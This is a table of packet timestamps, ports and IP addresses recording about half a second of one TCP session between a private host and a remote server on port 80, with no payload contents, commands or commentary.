Nov 23, 2024 21:15:14.673218966 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.673244953 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.674102068 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.674118042 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.674987078 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.675054073 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.675162077 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.675261021 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.675323009 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.676115036 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.676265955 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.676389933 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.676714897 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.676832914 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.676970005 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.677603960 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.677719116 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.678024054 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.678493977 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.678539038 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.678591967 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.679148912 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.679416895 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.679533005 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.679588079 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.680295944 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.680404902 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.680655956 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.681207895 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.681299925 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.681382895 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.682157040 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.682271004 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.682425976 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.683017969 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.683135033 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.683223963 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.683942080 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.684032917 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.684081078 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.684847116 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.685041904 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.685658932 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.685759068 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.685827971 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.685875893 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.685952902 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.686660051 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.686728001 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.687369108 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.687581062 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.687688112 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.687689066 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.687731028 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.688452005 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.688570976 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.688671112 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.689390898 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.689475060 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.689924955 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.690253019 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.690375090 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.690916061 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.691112995 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.691164017 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.845455885 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.845498085 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.845612049 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.845654011 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.845824003 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.845885038 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.845913887 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.845952988 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.845966101 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.846482038 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.846529007 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.846539974 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.846609116 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.847234011 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.847307920 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.847474098 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.847522974 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.848141909 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.848232985 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.848289013 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.849039078 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.849091053 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.849153996 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.849224091 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.849942923 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.850022078 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.850043058 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.850094080 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.850864887 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.850914955 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.850951910 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.851061106 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.851819038 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.851871967 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.851936102 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.852031946 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.852680922 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.852731943 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.852843046 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.852914095 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.853617907 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.853667974 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.853738070 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.853787899 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.854490042 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.854536057 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.854607105 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.854674101 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.855382919 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.855453014 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.855508089 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.855576038 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.856314898 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.856370926 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.856406927 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.856486082 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.857208967 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.857261896 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.857295036 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.857347012 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.858114958 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.858165979 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.858201981 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.858283043 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.859030962 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.859097004 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.859128952 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.859177113 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.859910965 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.859965086 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.860030890 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.860086918 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.860812902 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.860863924 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.860964060 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.861041069 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.861931086 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.861984968 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.862025023 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.862078905 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.862763882 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.862811089 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.862948895 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.863004923 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.863627911 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.863708973 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.863924980 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.863981962 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.864445925 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.864522934 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.864556074 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.864612103 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.865392923 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.865452051 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.865482092 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.865739107 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.866276026 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.866452932 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.867130995 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.867185116 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.867244959 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.867372036 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.868062019 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.868113995 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.868150949 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.868235111 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.869100094 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.869153023 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.869198084 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.869246960 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.870352030 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.870428085 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.870481014 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.871193886 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.871262074 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.871280909 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.871373892 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.872112989 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.872200966 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.873214960 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.873229027 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.873261929 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.873290062 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.873888969 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.873961926 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.874017000 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.874589920 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.874629974 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.875308037 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.875366926 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.875497103 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.875767946 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.876274109 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.876318932 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.877146006 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.877278090 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.877422094 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.877475977 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.878024101 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.878134966 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.878199100 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.878926039 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.879025936 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.879082918 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.879829884 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.879981041 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.880733967 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.880791903 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.880820036 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.881059885 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.881653070 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.881854057 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.882110119 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.882525921 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.882637978 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.883234978 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.883465052 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.883606911 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.883663893 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.884577990 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.884682894 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.884737968 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.885251999 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.885380030 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.885437965 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.886182070 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.886338949 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.887145042 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.887207031 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.887207985 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.887368917 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.888103962 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.888391972 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.888886929 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.888936996 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.888947010 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.888973951 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.889782906 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.889878988 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.890676975 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.890738964 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.890769005 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.891315937 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.891647100 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.891871929 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.892570019 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.046478987 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.046490908 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.046557903 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.047071934 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.047079086 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.047120094 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.047821999 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.047868013 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.048012018 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.048074007 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.048719883 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.048805952 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.048899889 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.048953056 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.049515963 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.049557924 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.049793005 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.049896002 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.050702095 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.050709009 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.050853014 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.051491022 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.051568985 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.051645041 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.051695108 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.052556992 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.052562952 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.052613020 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.053349018 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.053394079 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.053515911 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.053563118 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.054209948 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.054217100 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.054265976 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.055381060 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.055387020 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.055437088 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.055963039 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.056029081 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.056150913 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.056210995 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.056557894 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.056675911 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.056698084 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.056740046 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.057446003 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.057526112 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.057563066 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.057604074 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.060096025 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.060103893 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.060110092 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.060117006 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.060142040 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.060164928 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.060242891 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.060290098 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.060323954 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.060372114 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.061156988 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.061198950 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.061258078 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.061338902 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.062036991 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.062096119 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.062102079 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.062199116 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.062915087 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.063015938 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.063040972 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.063086033 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.063817978 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.063874006 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.063935041 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.064027071 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.064727068 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.064815998 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.064822912 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.064865112 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.065602064 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.065649033 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.065712929 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.065757036 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.066662073 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.066750050 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.066771984 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.066822052 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.067454100 CET	80	49711	185.215.113.16	192.168.2.8
